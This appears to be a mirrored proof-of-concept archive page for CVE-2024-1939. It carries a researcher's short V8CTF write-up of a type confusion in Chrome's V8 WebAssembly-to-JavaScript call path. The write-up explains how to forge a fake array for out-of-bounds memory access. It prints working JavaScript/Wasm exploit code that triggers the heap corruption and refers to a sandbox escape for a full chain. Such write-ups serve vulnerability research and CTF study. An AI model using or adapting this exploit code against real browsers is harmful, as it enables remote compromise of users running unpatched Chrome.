Associated Vulnerability
Title:Google Chrome 安全漏洞 (CVE-2024-1939)Description:Type Confusion in V8 in Google Chrome prior to 122.0.6261.94 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High)
Description
For V8CTF M122
Readme
# CVE-2024-1939
This is a short writeup for the CVE-2024-1939, which I used to claim V8CTF M122.
The root cause of this issue is the lack of support for kWasmS128 in wasm-to-js conversion. Specifically, wasmS128Const operations occurring in parameter stacks are ignored, leading to type confusion when an ExprRef is present in the parameters.
In details, this will cause an int/float to be directly converted to an object. So it is easy to construct a fake array with arb length which will give us the ability of oob read and write. There is still one obstacle to bypass: The wasmS128Const will only take place of float type params that stores in FPSlot and will not influence the tagged params which stores in GPSlot. The ways exists in StackSlot. The FP/GP Regs has size limits. After that the params will be stored in StackSlot with order. If we fill the regs and put a float number on StackSlot, the tagged param will be parsed from StackSlot and give us our faked object.
The final exp will not include the builder of this wasm moudle for simpilicity and speed, so i will attach it here.
```js
function get_corrupt(addr) {
var buf = new ArrayBuffer(8);
var u32 = new Uint32Array(buf);
var f64 = new Float64Array(buf);
var u8 = new Uint8Array(buf);
u32[0] = addr;
u32[1] = 0;
const builder = new WasmModuleBuilder();
const typeId = builder.addType(makeSig([kWasmS128, kWasmF64, kWasmF64, kWasmF64, kWasmF64, kWasmF64, kWasmF64, kWasmI64, kWasmI64, kWasmI64,kWasmI64,kWasmI64,kWasmI31Ref,kWasmFuncRef], []));
const importId = builder.addImport('mod', 'foo', typeId);
builder.addDeclarativeElementSegment([importId]);
builder.addFunction('main', kSig_v_v)
.addLocals(wasmRefType(kWasmI31Ref), 1)
.addBody([
...wasmS128Const(0xdeadbeef, 0xdeadbeef),
...wasmF64Const(1.1),
...wasmF64Const(1.1),
...wasmF64Const(1.1),
...wasmF64Const(1.1),
...wasmF64Const(1.1),
...wasmF64Const(f64[0]),
...wasmI64Const(0xbbbbbbbb),
...wasmI64Const(0xbbbbbbbb),
...wasmI64Const(0xbbbbbbbb),
...wasmI64Const(0xbbbbbbbb),
...wasmI64Const(0xbbbbbbbb),
...wasmI32Const(0xaaaaaaaa),
kGCPrefix, kExprRefI31, kExprLocalTee, 0,
kExprRefFunc, importId,
kExprRefFunc, importId,
kExprCallRef, typeId,
]).exportFunc();
const instance = builder.instantiate({ mod: { foo: ff } });
let f = instance.exports.main
f();
}
get_corrupt(addr);
```
A worker is utilized to stabilize the memory, as it has been observed that addresses remain relatively stable in worker threads.
For sandbox bypasses, see [V8-Sandbox-Escape-via-Regexp](https://github.com/rycbar77/V8-Sandbox-Escape-via-Regexp). The final exploit uses normal orw chains to write the flag through stderr.
File Snapshot
[4.0K] /data/pocs/57a4f0ab9f01e2170ac2e6c0197819b1d38384d8
├── [ 143] main.html
├── [2.9K] README.md
└── [6.3K] worker.js
0 directories, 3 files
Remarks
1. It is advised to access via the original source first.
2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →